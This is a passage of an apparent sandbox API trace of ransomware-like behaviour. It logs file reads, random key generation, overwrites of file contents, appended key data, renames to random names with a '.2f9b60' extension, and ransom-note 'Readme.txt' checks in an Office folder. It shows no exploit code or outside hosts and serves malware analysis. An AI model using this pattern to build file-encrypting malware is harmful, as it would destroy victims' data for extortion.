lpNewFilePointer=0x0) returned 1 [0131.483] ReadFile (in: hFile=0x1ac4, lpBuffer=0x22b8fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22b8fbe8, lpOverlapped=0x0 | out: lpBuffer=0x22b8fba0*, lpNumberOfBytesRead=0x22b8fbe8*=0x4, lpOverlapped=0x0) returned 1 [0131.510] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7080 [0131.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0131.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0131.510] NtQuerySystemTime (in: CurrentTime=0x22b8fae0 | out: CurrentTime=0x22b8fae0*=132462177367570000) returned 0x0 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x512d983e [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x23d50d11 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x5361dd21 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x55be5cf9 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x6a3fecea [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x75113a1d [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x77b4a146 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x2fe1f1b8 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x165da827 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x608edace [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x3e003b82 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x463116d4 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x39c93685 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x46b0c146 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x198026c6 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x6429d0f4 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x4cb4ac53 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x6425b9b2 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x4299e94e [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x274db7d8 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x154ca8c7 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0xb47e3d [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x7ac46437 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0xa85abea [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x3b4a270e [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x5d20a4aa [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x965b3d4 [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x59a48dda [0131.511] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x25407ae0 [0131.512] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x1978574c [0131.512] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x3d7f5c63 [0131.512] RtlRandomEx (in: Seed=0x22b8fad0 | out: Seed=0x22b8fad0) returned 0x1f3efa9e [0131.525] ReadFile (in: hFile=0x1ac4, lpBuffer=0x41f1b4e0, nNumberOfBytesToRead=0x30e4, lpNumberOfBytesRead=0x22b8fad0, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesRead=0x22b8fad0*=0x30e4, lpOverlapped=0x0) returned 1 [0131.528] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.528] WriteFile (in: hFile=0x1ac4, lpBuffer=0x41f100b0*, nNumberOfBytesToWrite=0x30e4, lpNumberOfBytesWritten=0x22b8fad4, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesWritten=0x22b8fad4*=0x30e4, lpOverlapped=0x0) returned 1 [0131.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7080 [0131.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0131.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0131.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0131.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7380 [0131.539] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.539] WriteFile (in: hFile=0x1ac4, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x22b8fbf0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x22b8fbf0*=0x10a, lpOverlapped=0x0) returned 1 [0131.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0131.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266780) returned 1 [0131.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0131.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0131.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.568] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="e3") returned 2 [0131.568] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="95") returned 2 [0131.568] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="6b") returned 2 [0131.568] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="5f") returned 2 [0131.568] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="59") returned 2 [0131.568] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="a8") returned 2 [0131.568] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="0f") returned 2 [0131.568] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="b1") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="03") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="b1") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="3c") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="e5") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="fa") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="af") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="07") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="66") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="cf") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="9d") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="4f") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="11") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="91") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="d5") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="d8") returned 2 [0131.569] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="f1") returned 2 [0131.569] RtlInitAnsiString (in: DestinationString=0x22b8fc68, SourceString="e3956b5f59a80fb103b13ce5faaf0766cf9d4f1191d5d8f1" | out: DestinationString="e3956b5f59a80fb103b13ce5faaf0766cf9d4f1191d5d8f1") [0131.569] RtlAnsiStringToUnicodeString (in: DestinationString=0x22b8fc38, SourceString="e3956b5f59a80fb103b13ce5faaf0766cf9d4f1191d5d8f1", AllocateDestinationString=1 | out: DestinationString="e3956b5f59a80fb103b13ce5faaf0766cf9d4f1191d5d8f1") returned 0x0 [0131.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1b80 [0131.570] wcscat (in: _Dest=0x4205cbf0, _Source="e3956b5f59a8" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e3956b5f59a8") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e3956b5f59a8" [0131.570] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e3956b5f59a8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e3956b5f59a8.2f9b60" [0131.570] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e3956b5f59a8.2f9b60", NtPathName=0x22b8fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e3956b5f59a8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.573] NtQueryInformationFile (in: FileHandle=0x1ac4, IoStatusBlock=0x22b8fc78, FileInformation=0x22b8fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22b8fc78, FileInformation=0x22b8fc88) returned 0x0 [0131.573] NtSetInformationFile (FileHandle=0x1ac4, IoStatusBlock=0x22b8fc78, FileInformation=0x22b8fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0131.575] FlushFileBuffers (hFile=0x1ac4) returned 1 [0131.590] CloseHandle (hObject=0x1ac4) returned 1 [0131.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050ada0 [0131.593] wcscpy (in: _Dest=0x2050ada0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.593] wcscat (in: _Dest=0x2050ada0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ada0) returned 1 [0131.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050abf0) returned 1 Thread: id = 1736 os_tid = 0x1730 [0131.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf")) returned 0x20 [0131.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF", dwFileAttributes=0x20) returned 1 [0131.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac8 [0131.532] GetFileSizeEx (in: hFile=0x1ac8, lpFileSize=0x219bfe20 | out: lpFileSize=0x219bfe20*=9288) returned 1 [0131.532] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x2444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.532] ReadFile (in: hFile=0x1ac8, lpBuffer=0x219bfda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x219bfde8, lpOverlapped=0x0 | out: lpBuffer=0x219bfda0*, lpNumberOfBytesRead=0x219bfde8*=0x4, lpOverlapped=0x0) returned 1 [0131.549] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0131.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0131.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.549] NtQuerySystemTime (in: CurrentTime=0x219bfce0 | out: CurrentTime=0x219bfce0*=132462177367882000) returned 0x0 [0131.549] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0xd2c08aa [0131.549] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x7d747730 [0131.549] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x76e5f109 [0131.549] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x1b4be1e3 [0131.549] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x71c8996c [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x9c21c3 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x257e2fba [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x6cda54e3 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x33af560a [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x4ee7458f [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x534019c7 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x101da7db [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x1b1e9598 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x2bbafb45 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x4cb73c46 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x3e5cb1bf [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0xa65ece3 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x44d557cc [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x19c8c7e4 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x52b558a0 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x4f519baf [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x734f1f79 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x6fda2a61 [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x5d506c0f [0131.550] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x3221d154 [0131.551] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x6da2d849 [0131.551] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x74438cc6 [0131.551] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x46721323 [0131.551] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x34a07ca3 [0131.551] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x4b0fdded [0131.551] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x6ab7f0b2 [0131.551] RtlRandomEx (in: Seed=0x219bfcd0 | out: Seed=0x219bfcd0) returned 0x62c69c3d [0131.565] ReadFile (in: hFile=0x1ac8, lpBuffer=0x41f1b4e0, nNumberOfBytesToRead=0x2448, lpNumberOfBytesRead=0x219bfcd0, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesRead=0x219bfcd0*=0x2448, lpOverlapped=0x0) returned 1 [0131.589] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.589] WriteFile (in: hFile=0x1ac8, lpBuffer=0x41f100b0*, nNumberOfBytesToWrite=0x2448, lpNumberOfBytesWritten=0x219bfcd4, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesWritten=0x219bfcd4*=0x2448, lpOverlapped=0x0) returned 1 [0131.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0131.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0131.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ab0) returned 1 [0131.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0131.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266ab0 [0131.616] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.616] WriteFile (in: hFile=0x1ac8, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x219bfdf0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x219bfdf0*=0x10a, lpOverlapped=0x0) returned 1 [0131.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266bd0 [0131.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266bd0) returned 1 [0131.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266bd0 [0131.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c00 [0131.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c00) returned 1 [0131.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.698] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="50") returned 2 [0131.698] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="bb") returned 2 [0131.698] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="06") returned 2 [0131.698] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="d0") returned 2 [0131.698] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="5f") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="69") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="35") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="10") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="9f") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="ea") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="e6") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="bd") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="28") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="cc") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="b0") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="33") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="7c") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="31") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="37") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="0c") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="f4") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="3d") returned 2 [0131.699] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="4e") returned 2 [0131.700] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="45") returned 2 [0131.700] RtlInitAnsiString (in: DestinationString=0x219bfe68, SourceString="50bb06d05f6935109feae6bd28ccb0337c31370cf43d4e45" | out: DestinationString="50bb06d05f6935109feae6bd28ccb0337c31370cf43d4e45") [0131.700] RtlAnsiStringToUnicodeString (in: DestinationString=0x219bfe38, SourceString="50bb06d05f6935109feae6bd28ccb0337c31370cf43d4e45", AllocateDestinationString=1 | out: DestinationString="50bb06d05f6935109feae6bd28ccb0337c31370cf43d4e45") returned 0x0 [0131.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c19c0 [0131.700] wcscat (in: _Dest=0x4205cbf0, _Source="50bb06d05f69" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\50bb06d05f69") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\50bb06d05f69" [0131.700] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\50bb06d05f69.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\50bb06d05f69.2f9b60" [0131.700] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\50bb06d05f69.2f9b60", NtPathName=0x219bfe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\50bb06d05f69.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0131.788] NtQueryInformationFile (in: FileHandle=0x1ac8, IoStatusBlock=0x219bfe78, FileInformation=0x219bfe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x219bfe78, FileInformation=0x219bfe88) returned 0x0 [0131.788] NtSetInformationFile (FileHandle=0x1ac8, IoStatusBlock=0x219bfe78, FileInformation=0x219bfe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 [0131.790] FlushFileBuffers (hFile=0x1ac8) returned 1 [0131.855] CloseHandle (hObject=0x1ac8) returned 1 [0131.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x205098d0 [0131.856] wcscpy (in: _Dest=0x205098d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.856] wcscat (in: _Dest=0x205098d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 